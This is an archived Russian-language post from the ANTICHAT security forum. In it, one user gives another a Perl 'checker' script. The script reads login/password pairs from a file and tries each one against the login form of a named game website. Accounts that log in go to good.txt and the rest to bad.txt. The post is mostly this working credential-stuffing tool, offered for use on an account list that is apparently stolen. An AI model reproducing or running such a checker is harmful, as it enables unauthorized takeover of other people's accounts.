Чекер ГГЦ — ANTICHAT Forum

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

#13

20.02.2010, 19:58

Fepsis

Постоянный

Регистрация: 17.09.2008

Сообщений: 562

Провел на форуме:
6962560

Репутация: 536

Цитата:

Сообщение от nuBo

оп, Fepsis спасибо огромное, теперь еще подскажи как быть если акки в таком виде...

Попробуй так:

Код:

#!/usr/bin/perl   


use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;

$ua = LWP::UserAgent->new;
$cookie_jar = HTTP::Cookies->new();
$ua->cookie_jar($cookie_jar);


open(BASE, 'base.txt'); 
chomp(@base = <BASE>);
close(BASE);


sub logg
   {
	my ($data, $file) = @_;
	open(OUT, ">> ".$file);
	print OUT "$data\n";
	close(OUT);
   }



sub check
   {
	my ($auth_data) = @_;
	$cookie_jar->clear();
	$auth_data =~ /\;(.+?)\;(.+?) \[/g;
	my $login = $1;
	my $pass = $2;

	print "$login:$pass";
	my $ex = $ua->request(POST 'http://garena-game.ru/index.php', [login_name => $login, login_password => $pass, login => submit]);
	if($cookie_jar->as_string =~/dle_password=/)
	   {
		print " : GOOD\n";
		logg("$login:$pass", "good.txt");
	   }

	else
	   {
		print " : BAD\n";
		logg("$login:$pass", "bad.txt");
	   }

   }


foreach (@base)
   {
	check($_);
   }